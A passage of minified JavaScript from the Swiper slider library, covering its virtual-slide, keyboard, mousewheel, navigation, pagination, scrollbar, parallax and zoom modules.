e=this.$el.parents(),t=0;t<e.length;t+=1)this.observer.attach(e[t]);this.observer.attach(this.$el[0],{childList:!1}),this.observer.attach(this.$wrapperEl[0],{attributes:!1})}},destroy:function(){this.observer.observers.forEach(function(e){e.disconnect()}),this.observer.observers=[]}},O={name:"observer",params:{observer:!1,observeParents:!1},create:function(){d.extend(this,{observer:{init:D.init.bind(this),attach:D.attach.bind(this),destroy:D.destroy.bind(this),observers:[]}})},on:{init:function(){this.observer.init()},destroy:function(){this.observer.destroy()}}},A={update:function(e){var t=this,i=t.params,s=i.slidesPerView,a=i.slidesPerGroup,r=i.centeredSlides,n=t.virtual,o=n.from,l=n.to,h=n.slides,p=n.slidesGrid,c=n.renderSlide,u=n.offset;t.updateActiveIndex();var v,f,m,g=t.activeIndex||0;v=t.rtlTranslate?"right":t.isHorizontal()?"left":"top",r?(f=Math.floor(s/2)+a,m=Math.floor(s/2)+a):(f=s+(a-1),m=a);var b=Math.max((g||0)-m,0),w=Math.min((g||0)+f,h.length-1),y=(t.slidesGrid[b]||0)-(t.slidesGrid[0]||0);function x(){t.updateSlides(),t.updateProgress(),t.updateSlidesClasses(),t.lazy&&t.params.lazy.enabled&&t.lazy.load()}if(d.extend(t.virtual,{from:b,to:w,offset:y,slidesGrid:t.slidesGrid}),o===b&&l===w&&!e)return t.slidesGrid!==p&&y!==u&&t.slides.css(v,y+"px"),void t.updateProgress();if(t.params.virtual.renderExternal)return t.params.virtual.renderExternal.call(t,{offset:y,from:b,to:w,slides:function(){for(var e=[],t=b;t<=w;t+=1)e.push(h[t]);return e}()}),void x();var E=[],T=[];if(e)t.$wrapperEl.find("."+t.params.slideClass).remove();else for(var S=o;S<=l;S+=1)(S<b||S>w)&&t.$wrapperEl.find("."+t.params.slideClass+'[data-swiper-slide-index="'+S+'"]').remove();for(var C=0;C<h.length;C+=1)C>=b&&C<=w&&(void 0===l||e?T.push(C):(C>l&&T.push(C),C<o&&E.push(C)));T.forEach(function(e){t.$wrapperEl.append(c(h[e],e))}),E.sort(function(e,t){return e<t}).forEach(function(e){t.$wrapperEl.prepend(c(h[e],e))}),t.$wrapperEl.children(".swiper-slide").css(v,y+"px"),x()},renderSlide:function(e,t){var i=this.params.virtual;if(i.cache&&this.virtual.cache[t])return this.virtual.cache[t];var a=i.renderSlide?s(i.renderSlide.call(this,e,t)):s('<div class="'+this.params.slideClass+'" data-swiper-slide-index="'+t+'">'+e+"</div>");return a.attr("data-swiper-slide-index")||a.attr("data-swiper-slide-index",t),i.cache&&(this.virtual.cache[t]=a),a},appendSlide:function(e){this.virtual.slides.push(e),this.virtual.update(!0)},prependSlide:function(e){if(this.virtual.slides.unshift(e),this.params.virtual.cache){var t=this.virtual.cache,i={};Object.keys(t).forEach(function(e){i[e+1]=t[e]}),this.virtual.cache=i}this.virtual.update(!0),this.slideNext(0)}},G={name:"virtual",params:{virtual:{enabled:!1,slides:[],cache:!0,renderSlide:null,renderExternal:null}},create:function(){d.extend(this,{virtual:{update:A.update.bind(this),appendSlide:A.appendSlide.bind(this),prependSlide:A.prependSlide.bind(this),renderSlide:A.renderSlide.bind(this),slides:this.params.virtual.slides,cache:{}}})},on:{beforeInit:function(){if(this.params.virtual.enabled){this.classNames.push(this.params.containerModifierClass+"virtual");var e={watchSlidesProgress:!0};d.extend(this.params,e),d.extend(this.originalParams,e),this.virtual.update()}},setTranslate:function(){this.params.virtual.enabled&&this.virtual.update()}}},H={handle:function(i){var s=this.rtlTranslate,a=i;a.originalEvent&&(a=a.originalEvent);var r=a.keyCode||a.charCode;if(!this.allowSlideNext&&(this.isHorizontal()&&39===r||this.isVertical()&&40===r))return!1;if(!this.allowSlidePrev&&(this.isHorizontal()&&37===r||this.isVertical()&&38===r))return!1;if(!(a.shiftKey||a.altKey||a.ctrlKey||a.metaKey||e.activeElement&&e.activeElement.nodeName&&("input"===e.activeElement.nodeName.toLowerCase()||"textarea"===e.activeElement.nodeName.toLowerCase()))){if(this.params.keyboard.onlyInViewport&&(37===r||39===r||38===r||40===r)){var n=!1;if(this.$el.parents("."+this.params.slideClass).length>0&&0===this.$el.parents("."+this.params.slideActiveClass).length)return;var o=t.innerWidth,l=t.innerHeight,d=this.$el.offset();s&&(d.left-=this.$el[0].scrollLeft);for(var h=[[d.left,d.top],[d.left+this.width,d.top],[d.left,d.top+this.height],[d.left+this.width,d.top+this.height]],p=0;p<h.length;p+=1){var c=h[p];c[0]>=0&&c[0]<=o&&c[1]>=0&&c[1]<=l&&(n=!0)}if(!n)return}this.isHorizontal()?(37!==r&&39!==r||(a.preventDefault?a.preventDefault():a.returnValue=!1),(39===r&&!s||37===r&&s)&&this.slideNext(),(37===r&&!s||39===r&&s)&&this.slidePrev()):(38!==r&&40!==r||(a.preventDefault?a.preventDefault():a.returnValue=!1),40===r&&this.slideNext(),38===r&&this.slidePrev()),this.emit("keyPress",r)}},enable:function(){this.keyboard.enabled||(s(e).on("keydown",this.keyboard.handle),this.keyboard.enabled=!0)},disable:function(){this.keyboard.enabled&&(s(e).off("keydown",this.keyboard.handle),this.keyboard.enabled=!1)}},N={name:"keyboard",params:{keyboard:{enabled:!1,onlyInViewport:!0}},create:function(){d.extend(this,{keyboard:{enabled:!1,enable:H.enable.bind(this),disable:H.disable.bind(this),handle:H.handle.bind(this)}})},on:{init:function(){this.params.keyboard.enabled&&this.keyboard.enable()},destroy:function(){this.keyboard.enabled&&this.keyboard.disable()}}};var B={lastScrollTime:d.now(),event:t.navigator.userAgent.indexOf("firefox")>-1?"DOMMouseScroll":function(){var t="onwheel"in e;if(!t){var i=e.createElement("div");i.setAttribute("onwheel","return;"),t="function"==typeof i.onwheel}return!t&&e.implementation&&e.implementation.hasFeature&&!0!==e.implementation.hasFeature("","")&&(t=e.implementation.hasFeature("Events.wheel","3.0")),t}()?"wheel":"mousewheel",normalize:function(e){var t=0,i=0,s=0,a=0;return"detail"in e&&(i=e.detail),"wheelDelta"in e&&(i=-e.wheelDelta/120),"wheelDeltaY"in e&&(i=-e.wheelDeltaY/120),"wheelDeltaX"in e&&(t=-e.wheelDeltaX/120),"axis"in e&&e.axis===e.HORIZONTAL_AXIS&&(t=i,i=0),s=10*t,a=10*i,"deltaY"in e&&(a=e.deltaY),"deltaX"in e&&(s=e.deltaX),(s||a)&&e.deltaMode&&(1===e.deltaMode?(s*=40,a*=40):(s*=800,a*=800)),s&&!t&&(t=s<1?-1:1),a&&!i&&(i=a<1?-1:1),{spinX:t,spinY:i,pixelX:s,pixelY:a}},handleMouseEnter:function(){this.mouseEntered=!0},handleMouseLeave:function(){this.mouseEntered=!1},handle:function(e){var i=e,s=this,a=s.params.mousewheel;if(!s.mouseEntered&&!a.releaseOnEdges)return!0;i.originalEvent&&(i=i.originalEvent);var r=0,n=s.rtlTranslate?-1:1,o=B.normalize(i);if(a.forceToAxis)if(s.isHorizontal()){if(!(Math.abs(o.pixelX)>Math.abs(o.pixelY)))return!0;r=o.pixelX*n}else{if(!(Math.abs(o.pixelY)>Math.abs(o.pixelX)))return!0;r=o.pixelY}else r=Math.abs(o.pixelX)>Math.abs(o.pixelY)?-o.pixelX*n:-o.pixelY;if(0===r)return!0;if(a.invert&&(r=-r),s.params.freeMode){s.params.loop&&s.loopFix();var l=s.getTranslate()+r*a.sensitivity,h=s.isBeginning,p=s.isEnd;if(l>=s.minTranslate()&&(l=s.minTranslate()),l<=s.maxTranslate()&&(l=s.maxTranslate()),s.setTransition(0),s.setTranslate(l),s.updateProgress(),s.updateActiveIndex(),s.updateSlidesClasses(),(!h&&s.isBeginning||!p&&s.isEnd)&&s.updateSlidesClasses(),s.params.freeModeSticky&&(clearTimeout(s.mousewheel.timeout),s.mousewheel.timeout=d.nextTick(function(){s.slideToClosest()},300)),s.emit("scroll",i),s.params.autoplay&&s.params.autoplayDisableOnInteraction&&s.stopAutoplay(),l===s.minTranslate()||l===s.maxTranslate())return!0}else{if(d.now()-s.mousewheel.lastScrollTime>60)if(r<0)if(s.isEnd&&!s.params.loop||s.animating){if(a.releaseOnEdges)return!0}else s.slideNext(),s.emit("scroll",i);else if(s.isBeginning&&!s.params.loop||s.animating){if(a.releaseOnEdges)return!0}else s.slidePrev(),s.emit("scroll",i);s.mousewheel.lastScrollTime=(new t.Date).getTime()}return i.preventDefault?i.preventDefault():i.returnValue=!1,!1},enable:function(){if(!B.event)return!1;if(this.mousewheel.enabled)return!1;var e=this.$el;return"container"!==this.params.mousewheel.eventsTarged&&(e=s(this.params.mousewheel.eventsTarged)),e.on("mouseenter",this.mousewheel.handleMouseEnter),e.on("mouseleave",this.mousewheel.handleMouseLeave),e.on(B.event,this.mousewheel.handle),this.mousewheel.enabled=!0,!0},disable:function(){if(!B.event)return!1;if(!this.mousewheel.enabled)return!1;var e=this.$el;return"container"!==this.params.mousewheel.eventsTarged&&(e=s(this.params.mousewheel.eventsTarged)),e.off(B.event,this.mousewheel.handle),this.mousewheel.enabled=!1,!0}},X={update:function(){var e=this.params.navigation;if(!this.params.loop){var t=this.navigation,i=t.$nextEl,s=t.$prevEl;s&&s.length>0&&(this.isBeginning?s.addClass(e.disabledClass):s.removeClass(e.disabledClass),s[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](e.lockClass)),i&&i.length>0&&(this.isEnd?i.addClass(e.disabledClass):i.removeClass(e.disabledClass),i[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](e.lockClass))}},init:function(){var e,t,i=this,a=i.params.navigation;(a.nextEl||a.prevEl)&&(a.nextEl&&(e=s(a.nextEl),i.params.uniqueNavElements&&"string"==typeof a.nextEl&&e.length>1&&1===i.$el.find(a.nextEl).length&&(e=i.$el.find(a.nextEl))),a.prevEl&&(t=s(a.prevEl),i.params.uniqueNavElements&&"string"==typeof a.prevEl&&t.length>1&&1===i.$el.find(a.prevEl).length&&(t=i.$el.find(a.prevEl))),e&&e.length>0&&e.on("click",function(e){e.preventDefault(),i.isEnd&&!i.params.loop||i.slideNext()}),t&&t.length>0&&t.on("click",function(e){e.preventDefault(),i.isBeginning&&!i.params.loop||i.slidePrev()}),d.extend(i.navigation,{$nextEl:e,nextEl:e&&e[0],$prevEl:t,prevEl:t&&t[0]}))},destroy:function(){var e=this.navigation,t=e.$nextEl,i=e.$prevEl;t&&t.length&&(t.off("click"),t.removeClass(this.params.navigation.disabledClass)),i&&i.length&&(i.off("click"),i.removeClass(this.params.navigation.disabledClass))}},Y={update:function(){var e=this.rtl,t=this.params.pagination;if(t.el&&this.pagination.el&&this.pagination.$el&&0!==this.pagination.$el.length){var i,a=this.virtual&&this.params.virtual.enabled?this.virtual.slides.length:this.slides.length,r=this.pagination.$el,n=this.params.loop?Math.ceil((a-2*this.loopedSlides)/this.params.slidesPerGroup):this.snapGrid.length;if(this.params.loop?((i=Math.ceil((this.activeIndex-this.loopedSlides)/this.params.slidesPerGroup))>a-1-2*this.loopedSlides&&(i-=a-2*this.loopedSlides),i>n-1&&(i-=n),i<0&&"bullets"!==this.params.paginationType&&(i=n+i)):i=void 0!==this.snapIndex?this.snapIndex:this.activeIndex||0,"bullets"===t.type&&this.pagination.bullets&&this.pagination.bullets.length>0){var o,l,d,h=this.pagination.bullets;if(t.dynamicBullets&&(this.pagination.bulletSize=h.eq(0)[this.isHorizontal()?"outerWidth":"outerHeight"](!0),r.css(this.isHorizontal()?"width":"height",this.pagination.bulletSize*(t.dynamicMainBullets+4)+"px"),t.dynamicMainBullets>1&&void 0!==this.previousIndex&&(this.pagination.dynamicBulletIndex+=i-this.previousIndex,this.pagination.dynamicBulletIndex>t.dynamicMainBullets-1?this.pagination.dynamicBulletIndex=t.dynamicMainBullets-1:this.pagination.dynamicBulletIndex<0&&(this.pagination.dynamicBulletIndex=0)),o=i-this.pagination.dynamicBulletIndex,d=((l=o+(Math.min(h.length,t.dynamicMainBullets)-1))+o)/2),h.removeClass(t.bulletActiveClass+" "+t.bulletActiveClass+"-next "+t.bulletActiveClass+"-next-next "+t.bulletActiveClass+"-prev "+t.bulletActiveClass+"-prev-prev "+t.bulletActiveClass+"-main"),r.length>1)h.each(function(e,a){var r=s(a),n=r.index();n===i&&r.addClass(t.bulletActiveClass),t.dynamicBullets&&(n>=o&&n<=l&&r.addClass(t.bulletActiveClass+"-main"),n===o&&r.prev().addClass(t.bulletActiveClass+"-prev").prev().addClass(t.bulletActiveClass+"-prev-prev"),n===l&&r.next().addClass(t.bulletActiveClass+"-next").next().addClass(t.bulletActiveClass+"-next-next"))});else if(h.eq(i).addClass(t.bulletActiveClass),t.dynamicBullets){for(var p=h.eq(o),c=h.eq(l),u=o;u<=l;u+=1)h.eq(u).addClass(t.bulletActiveClass+"-main");p.prev().addClass(t.bulletActiveClass+"-prev").prev().addClass(t.bulletActiveClass+"-prev-prev"),c.next().addClass(t.bulletActiveClass+"-next").next().addClass(t.bulletActiveClass+"-next-next")}if(t.dynamicBullets){var v=Math.min(h.length,t.dynamicMainBullets+4),f=(this.pagination.bulletSize*v-this.pagination.bulletSize)/2-d*this.pagination.bulletSize,m=e?"right":"left";h.css(this.isHorizontal()?m:"top",f+"px")}}if("fraction"===t.type&&(r.find("."+t.currentClass).text(i+1),r.find("."+t.totalClass).text(n)),"progressbar"===t.type){var g;g=t.progressbarOpposite?this.isHorizontal()?"vertical":"horizontal":this.isHorizontal()?"horizontal":"vertical";var b=(i+1)/n,w=1,y=1;"horizontal"===g?w=b:y=b,r.find("."+t.progressbarFillClass).transform("translate3d(0,0,0) scaleX("+w+") scaleY("+y+")").transition(this.params.speed)}"custom"===t.type&&t.renderCustom?(r.html(t.renderCustom(this,i+1,n)),this.emit("paginationRender",this,r[0])):this.emit("paginationUpdate",this,r[0]),r[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](t.lockClass)}},render:function(){var e=this.params.pagination;if(e.el&&this.pagination.el&&this.pagination.$el&&0!==this.pagination.$el.length){var t=this.virtual&&this.params.virtual.enabled?this.virtual.slides.length:this.slides.length,i=this.pagination.$el,s="";if("bullets"===e.type){for(var a=this.params.loop?Math.ceil((t-2*this.loopedSlides)/this.params.slidesPerGroup):this.snapGrid.length,r=0;r<a;r+=1)e.renderBullet?s+=e.renderBullet.call(this,r,e.bulletClass):s+="<"+e.bulletElement+' class="'+e.bulletClass+'"></'+e.bulletElement+">";i.html(s),this.pagination.bullets=i.find("."+e.bulletClass)}"fraction"===e.type&&(s=e.renderFraction?e.renderFraction.call(this,e.currentClass,e.totalClass):'<span class="'+e.currentClass+'"></span> / <span class="'+e.totalClass+'"></span>',i.html(s)),"progressbar"===e.type&&(s=e.renderProgressbar?e.renderProgressbar.call(this,e.progressbarFillClass):'<span class="'+e.progressbarFillClass+'"></span>',i.html(s)),"custom"!==e.type&&this.emit("paginationRender",this.pagination.$el[0])}},init:function(){var e=this,t=e.params.pagination;if(t.el){var i=s(t.el);0!==i.length&&(e.params.uniqueNavElements&&"string"==typeof t.el&&i.length>1&&1===e.$el.find(t.el).length&&(i=e.$el.find(t.el)),"bullets"===t.type&&t.clickable&&i.addClass(t.clickableClass),i.addClass(t.modifierClass+t.type),"bullets"===t.type&&t.dynamicBullets&&(i.addClass(""+t.modifierClass+t.type+"-dynamic"),e.pagination.dynamicBulletIndex=0,t.dynamicMainBullets<1&&(t.dynamicMainBullets=1)),"progressbar"===t.type&&t.progressbarOpposite&&i.addClass(t.progressbarOppositeClass),t.clickable&&i.on("click","."+t.bulletClass,function(t){t.preventDefault();var i=s(this).index()*e.params.slidesPerGroup;e.params.loop&&(i+=e.loopedSlides),e.slideTo(i)}),d.extend(e.pagination,{$el:i,el:i[0]}))}},destroy:function(){var e=this.params.pagination;if(e.el&&this.pagination.el&&this.pagination.$el&&0!==this.pagination.$el.length){var t=this.pagination.$el;t.removeClass(e.hiddenClass),t.removeClass(e.modifierClass+e.type),this.pagination.bullets&&this.pagination.bullets.removeClass(e.bulletActiveClass),e.clickable&&t.off("click","."+e.bulletClass)}}},V={setTranslate:function(){if(this.params.scrollbar.el&&this.scrollbar.el){var e=this.scrollbar,t=this.rtlTranslate,i=this.progress,s=e.dragSize,a=e.trackSize,r=e.$dragEl,n=e.$el,o=this.params.scrollbar,l=s,d=(a-s)*i;t?(d=-d)>0?(l=s-d,d=0):-d+s>a&&(l=a+d):d<0?(l=s+d,d=0):d+s>a&&(l=a-d),this.isHorizontal()?(h.transforms3d?r.transform("translate3d("+d+"px, 0, 0)"):r.transform("translateX("+d+"px)"),r[0].style.width=l+"px"):(h.transforms3d?r.transform("translate3d(0px, "+d+"px, 0)"):r.transform("translateY("+d+"px)"),r[0].style.height=l+"px"),o.hide&&(clearTimeout(this.scrollbar.timeout),n[0].style.opacity=1,this.scrollbar.timeout=setTimeout(function(){n[0].style.opacity=0,n.transition(400)},1e3))}},setTransition:function(e){this.params.scrollbar.el&&this.scrollbar.el&&this.scrollbar.$dragEl.transition(e)},updateSize:function(){if(this.params.scrollbar.el&&this.scrollbar.el){var e=this.scrollbar,t=e.$dragEl,i=e.$el;t[0].style.width="",t[0].style.height="";var s,a=this.isHorizontal()?i[0].offsetWidth:i[0].offsetHeight,r=this.size/this.virtualSize,n=r*(a/this.size);s="auto"===this.params.scrollbar.dragSize?a*r:parseInt(this.params.scrollbar.dragSize,10),this.isHorizontal()?t[0].style.width=s+"px":t[0].style.height=s+"px",i[0].style.display=r>=1?"none":"",this.params.scrollbarHide&&(i[0].style.opacity=0),d.extend(e,{trackSize:a,divider:r,moveDivider:n,dragSize:s}),e.$el[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](this.params.scrollbar.lockClass)}},setDragPosition:function(e){var t,i=this.scrollbar,s=this.rtlTranslate,a=i.$el,r=i.dragSize,n=i.trackSize;t=((this.isHorizontal()?"touchstart"===e.type||"touchmove"===e.type?e.targetTouches[0].pageX:e.pageX||e.clientX:"touchstart"===e.type||"touchmove"===e.type?e.targetTouches[0].pageY:e.pageY||e.clientY)-a.offset()[this.isHorizontal()?"left":"top"]-r/2)/(n-r),t=Math.max(Math.min(t,1),0),s&&(t=1-t);var o=this.minTranslate()+(this.maxTranslate()-this.minTranslate())*t;this.updateProgress(o),this.setTranslate(o),this.updateActiveIndex(),this.updateSlidesClasses()},onDragStart:function(e){var t=this.params.scrollbar,i=this.scrollbar,s=this.$wrapperEl,a=i.$el,r=i.$dragEl;this.scrollbar.isTouched=!0,e.preventDefault(),e.stopPropagation(),s.transition(100),r.transition(100),i.setDragPosition(e),clearTimeout(this.scrollbar.dragTimeout),a.transition(0),t.hide&&a.css("opacity",1),this.emit("scrollbarDragStart",e)},onDragMove:function(e){var t=this.scrollbar,i=this.$wrapperEl,s=t.$el,a=t.$dragEl;this.scrollbar.isTouched&&(e.preventDefault?e.preventDefault():e.returnValue=!1,t.setDragPosition(e),i.transition(0),s.transition(0),a.transition(0),this.emit("scrollbarDragMove",e))},onDragEnd:function(e){var t=this.params.scrollbar,i=this.scrollbar.$el;this.scrollbar.isTouched&&(this.scrollbar.isTouched=!1,t.hide&&(clearTimeout(this.scrollbar.dragTimeout),this.scrollbar.dragTimeout=d.nextTick(function(){i.css("opacity",0),i.transition(400)},1e3)),this.emit("scrollbarDragEnd",e),t.snapOnRelease&&this.slideToClosest())},enableDraggable:function(){if(this.params.scrollbar.el){var t=this.scrollbar,i=this.touchEvents,s=this.touchEventsDesktop,a=this.params,r=t.$el[0],n=!(!h.passiveListener||!a.passiveListener)&&{passive:!1,capture:!1},o=!(!h.passiveListener||!a.passiveListener)&&{passive:!0,capture:!1};h.touch||!h.pointerEvents&&!h.prefixedPointerEvents?(h.touch&&(r.addEventListener(i.start,this.scrollbar.onDragStart,n),r.addEventListener(i.move,this.scrollbar.onDragMove,n),r.addEventListener(i.end,this.scrollbar.onDragEnd,o)),(a.simulateTouch&&!y.ios&&!y.android||a.simulateTouch&&!h.touch&&y.ios)&&(r.addEventListener("mousedown",this.scrollbar.onDragStart,n),e.addEventListener("mousemove",this.scrollbar.onDragMove,n),e.addEventListener("mouseup",this.scrollbar.onDragEnd,o))):(r.addEventListener(s.start,this.scrollbar.onDragStart,n),e.addEventListener(s.move,this.scrollbar.onDragMove,n),e.addEventListener(s.end,this.scrollbar.onDragEnd,o))}},disableDraggable:function(){if(this.params.scrollbar.el){var t=this.scrollbar,i=this.touchEvents,s=this.touchEventsDesktop,a=this.params,r=t.$el[0],n=!(!h.passiveListener||!a.passiveListener)&&{passive:!1,capture:!1},o=!(!h.passiveListener||!a.passiveListener)&&{passive:!0,capture:!1};h.touch||!h.pointerEvents&&!h.prefixedPointerEvents?(h.touch&&(r.removeEventListener(i.start,this.scrollbar.onDragStart,n),r.removeEventListener(i.move,this.scrollbar.onDragMove,n),r.removeEventListener(i.end,this.scrollbar.onDragEnd,o)),(a.simulateTouch&&!y.ios&&!y.android||a.simulateTouch&&!h.touch&&y.ios)&&(r.removeEventListener("mousedown",this.scrollbar.onDragStart,n),e.removeEventListener("mousemove",this.scrollbar.onDragMove,n),e.removeEventListener("mouseup",this.scrollbar.onDragEnd,o))):(r.removeEventListener(s.start,this.scrollbar.onDragStart,n),e.removeEventListener(s.move,this.scrollbar.onDragMove,n),e.removeEventListener(s.end,this.scrollbar.onDragEnd,o))}},init:function(){if(this.params.scrollbar.el){var e=this.scrollbar,t=this.$el,i=this.params.scrollbar,a=s(i.el);this.params.uniqueNavElements&&"string"==typeof i.el&&a.length>1&&1===t.find(i.el).length&&(a=t.find(i.el));var r=a.find("."+this.params.scrollbar.dragClass);0===r.length&&(r=s('<div class="'+this.params.scrollbar.dragClass+'"></div>'),a.append(r)),d.extend(e,{$el:a,el:a[0],$dragEl:r,dragEl:r[0]}),i.draggable&&e.enableDraggable()}},destroy:function(){this.scrollbar.disableDraggable()}},R={setTransform:function(e,t){var i=this.rtl,a=s(e),r=i?-1:1,n=a.attr("data-swiper-parallax")||"0",o=a.attr("data-swiper-parallax-x"),l=a.attr("data-swiper-parallax-y"),d=a.attr("data-swiper-parallax-scale"),h=a.attr("data-swiper-parallax-opacity");if(o||l?(o=o||"0",l=l||"0"):this.isHorizontal()?(o=n,l="0"):(l=n,o="0"),o=o.indexOf("%")>=0?parseInt(o,10)*t*r+"%":o*t*r+"px",l=l.indexOf("%")>=0?parseInt(l,10)*t+"%":l*t+"px",void 0!==h&&null!==h){var p=h-(h-1)*(1-Math.abs(t));a[0].style.opacity=p}if(void 0===d||null===d)a.transform("translate3d("+o+", "+l+", 0px)");else{var c=d-(d-1)*(1-Math.abs(t));a.transform("translate3d("+o+", "+l+", 0px) scale("+c+")")}},setTranslate:function(){var e=this,t=e.$el,i=e.slides,a=e.progress,r=e.snapGrid;t.children("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function(t,i){e.parallax.setTransform(i,a)}),i.each(function(t,i){var n=i.progress;e.params.slidesPerGroup>1&&"auto"!==e.params.slidesPerView&&(n+=Math.ceil(t/2)-a*(r.length-1)),n=Math.min(Math.max(n,-1),1),s(i).find("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function(t,i){e.parallax.setTransform(i,n)})})},setTransition:function(e){void 0===e&&(e=this.params.speed);this.$el.find("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function(t,i){var a=s(i),r=parseInt(a.attr("data-swiper-parallax-duration"),10)||e;0===e&&(r=0),a.transition(r)})}},F={getDistanceBetweenTouches:function(e){if(e.targetTouches.length<2)return 1;var t=e.targetTouches[0].pageX,i=e.targetTouches[0].pageY,s=e.targetTouches[1].pageX,a=e.targetTouches[1].pageY;return Math.sqrt(Math.pow(s-t,2)+Math.pow(a-i,2))},onGestureStart:function(e){var t=this.params.zoom,i=this.zoom,a=i.gesture;if(i.fakeGestureTouched=!1,i.fakeGestureMoved=!1,!h.gestures){if("touchstart"!==e.type||"touchstart"===e.type&&e.targetTouches.length<2)return;i.fakeGestureTouched=!0,a.scaleStart=F.getDistanceBetweenTouches(e)}a.$slideEl&&a.$slideEl.length||(a.$slideEl=s(e.target).closest(".swiper-slide"),0===a.$slideEl.length&&(a.$slideEl=this.slides.eq(this.activeIndex)),a.$imageEl=a.$slideEl.find("img, svg, canvas"),a.$imageWrapEl=a.$imageEl.parent("."+t.containerClass),a.maxRatio=a.$imageWrapEl.attr("data-swiper-zoom")||t.maxRatio,0!==a.$imageWrapEl.length)?(a.$imageEl.transition(0),this.zoom.isScaling=!0):a.$imageEl=void 0},onGestureChange:function(e){var t=this.params.zoom,i=this.zoom,s=i.gesture;if(!h.gestures){if("touchmove"!==e.type||"touchmove"===e.type&&e.targetTouches.length<2)return;i.fakeGestureMoved=!0,s.scaleMove=F.getDistanceBetweenTouches(e)}s.$imageEl&&0!==s.$imageEl.length&&(h.gestures?this.zoom.scale=e.scale*i.currentScale:i.scale=s.scaleMove/s.scaleStart*i.currentScale,i.scale>s.maxRatio&&(i.scale=s.maxRatio-1+Math.pow(i.scale-s.maxRatio+1,.5)),i.scale<t.minRatio&&(i.scale=t.minRatio+1-Math.pow(t.minRatio-i.scale+1,.5)),s.$imageEl.transform("translate3d(0,0,0) scale("+i.scale+")"))},onGestureEnd:function(e){var t=this.params.zoom,i=this.zoom,s=i.gesture;if(!h.gestures){if(!i.fakeGestureTouched||!i.fakeGestureMoved)return;if("touchend"!==e.type||"touchend"===e.type&&e.changedTouches.length<2&&!y.android)return;i.fakeGestureTouched=!1,i.fakeGestureMoved=!1}s.$imageEl&&0!==s.$imageEl.length&&(i.scale=Math.max(Math.min(i.scale,s.maxRatio),t.minRatio),s.$imageEl.transition(this.params.speed).transform("translate3d(0,0,0) scale("+i.scale+")"),i.currentScale=i.scale,i.isScaling=!1,1===i.scale&&(s.$slideEl=void 0))},onTouchStart:function(e){var t=this.zoom,i=t.gesture,s=t.image;i.$imageEl&&0!==i.$imageEl.length&&(s.isTouched||(y.android&&e.preventDefault(),s.isTouched=!0,s.touchesStart.x="touchstart"===e.type?e.targetTouches[0].pageX:e.pageX,s.touchesStart.y="touchstart"===e.type?e.targetTouches[0].pageY:e.pageY))},onTouchMove:function(e){var t=this.zoom,i=t.gesture,s=t.image,a=t.velocity;if(i.$imageEl&&0!==i.$imageEl.length&&(this.allowClick=!1,s.isTouched&&i.$slideEl)){s.isMoved||(s.width=i.$imageEl[0].offsetWidth,s.height=i.$imageEl[0].offsetHeight,s.startX=d.getTranslate(i.$imageWrapEl[0],"x")||0,s.startY=d.getTranslate(i.$imageWrapEl[0],"y")||0,i.slideWidth=i.$slideEl[0].offsetWidth,i.slideHeight=i.$slideEl[0].offsetHeight,i.$imageWrapEl.transition(0),this.rtl&&(s.startX=-s.startX,s.startY=-s.startY));var r=s.width*t.scale,n=s.height*t.scale;if(!(r<i.slideWidth&&n<i.slideHeight)){if(s.minX=Math.min(i.slideWidth/2-r/2,0),s.maxX=-s.minX,s.minY=Math.min(i.slideHeight/2-n/2,0),s.maxY=-s.minY,s.touchesCurrent.x="touchmove"===e.type?e.targetTouches[0].pageX:e.pageX,s.touchesCurrent.y="touchmove"===e.type?e.targetTouches[0].pageY:e.pageY,!s.isMoved&&!t.isScaling){if(this.isHorizontal()&&(Math.floor(s.minX)===Math.floor(s.startX)&&s.touchesCurrent.x<s.touchesStart.x||Math.floor(s.maxX)===Math.floor(s.startX)&&s.touchesCurrent.x>s.touchesStart.x))return void(s.isTouched=!1);if(!this.isHorizontal()&&(Math.floor(s.minY)===Math.floor(s.startY)&&s.touchesCurrent.y<s.touchesStart.y||Math.floor(s.maxY)===Math.floor(s.startY)&&s.touchesCurrent.y>s.touchesStart.y))return void(s.isTouched=!1)}e.preventDefault(),e.stopPropagation(),s.isMoved=!0,s.currentX=s.touchesCurrent.x-s.touchesStart.x+s.startX,s.currentY=s.touchesCurrent.y-s.touchesStart.y+s.startY,s.currentX<s.minX&&(s.currentX=s.minX+1-Math.pow(s.minX-s.currentX+1,.8)),s.currentX>s.maxX&&(s.currentX=s.maxX-1+Math.pow(s.currentX-s.maxX+1,.8)),s.currentY<s.minY&&(s.currentY=s.minY+1-Math.pow(s.minY-s.currentY+1,.8)),s.currentY>s.maxY&&(s.currentY=s.maxY-1+Math.pow(s.currentY-s.maxY+1,.8)),a.prevPositionX||(a.prevPositionX=s.touchesCurrent.x),a.prevPositionY||(a.prevPositionY=s.touchesCurrent.y),a.prevTime||(a.prevTime=Date.now()),a.x=(s.touchesCurrent.x-a.prevPositionX)/(Date.now()-a.prevTime)/2,a.y=(s.touchesCurrent.y-a.prevPositionY)/(Date.now()-a.prevTime)/2,Math.abs(s.touchesCurrent.x-a.prevPositionX)<2&&(a.x=0),Math.abs(s.touchesCurrent.y-a.prevPositionY)<2&&(a.y=0),a.prevPositionX=s.touchesCurrent.x,a.prevPositionY=s.touchesCurrent.y,a.prevTime=Date.now(),i.$imageWrapEl.transform("translate3d("+s.currentX+"px, "+s.currentY+"px,0)")}}},onTouchEnd:function(){var e=this.zoom,t=e.gesture,i=e.image,s=e.velocity;if(t.$imageEl&&0!==t.$imageEl.length){if(!i.isTouched||!i.isMoved)return i.isTouched=!1,void(i.isMoved=!1);i.isTouched=!1,i.isMoved=!1;var a=300,r=300,n=s.x*a,o=i.currentX+n,l=s.y*r,d=i.currentY+l;0!==s.x&&(a=Math.abs((o-i.currentX)/s.x)),0!==s.y&&(r=Math.abs((d-i.currentY)/s.y));var h=Math.max(a,r);i.currentX=o,i.currentY=d;var 